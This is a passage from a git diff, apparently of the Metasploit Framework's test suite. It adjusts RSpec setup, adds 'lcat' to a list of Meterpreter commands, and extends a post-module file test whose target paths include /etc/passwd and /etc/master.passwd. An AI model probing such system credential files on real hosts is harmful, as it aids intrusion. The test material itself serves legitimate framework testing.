explicitly tag specs without using automatic inference, set the `:type` - # metadata manually: - # - # describe ThingsController, :type => :controller do - # # Equivalent to being in spec/controllers - # end - config.infer_spec_type_from_file_location! - if ENV['REMOTE_DB'] require 'metasploit/framework/data_service/remote/managed_remote_data_service' opts = {} @@ -137,8 +144,10 @@ RSpec.configure do |config| end -Metasploit::Framework::Spec::Constants::Suite.configure! -Metasploit::Framework::Spec::Threads::Suite.configure! +if load_metasploit + Metasploit::Framework::Spec::Constants::Suite.configure! + Metasploit::Framework::Spec::Threads::Suite.configure! +end def get_stdout(&block) out = $stdout diff --git a/test/functional/meterpreter/meterpreter_specs.rb b/test/functional/meterpreter/meterpreter_specs.rb index e2ec4927db..6b2c93bb09 100644 --- a/test/functional/meterpreter/meterpreter_specs.rb +++ b/test/functional/meterpreter/meterpreter_specs.rb @@ -23,6 +23,7 @@ module MeterpreterSpecs "use", "write", "cat", + "lcat", "cd", "del", "download", diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 6bdcf71fbc..2d8e2b2a83 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -128,7 +128,8 @@ class MetasploitModule < Msf::Post '/etc/passwd', '/etc/master.passwd', '%WINDIR%\\system32\\notepad.exe', - '%WINDIR%\\system32\\calc.exe' + '%WINDIR%\\system32\\calc.exe', + File.expand_path(__FILE__) ].each do |path| ret = true if file?(path) end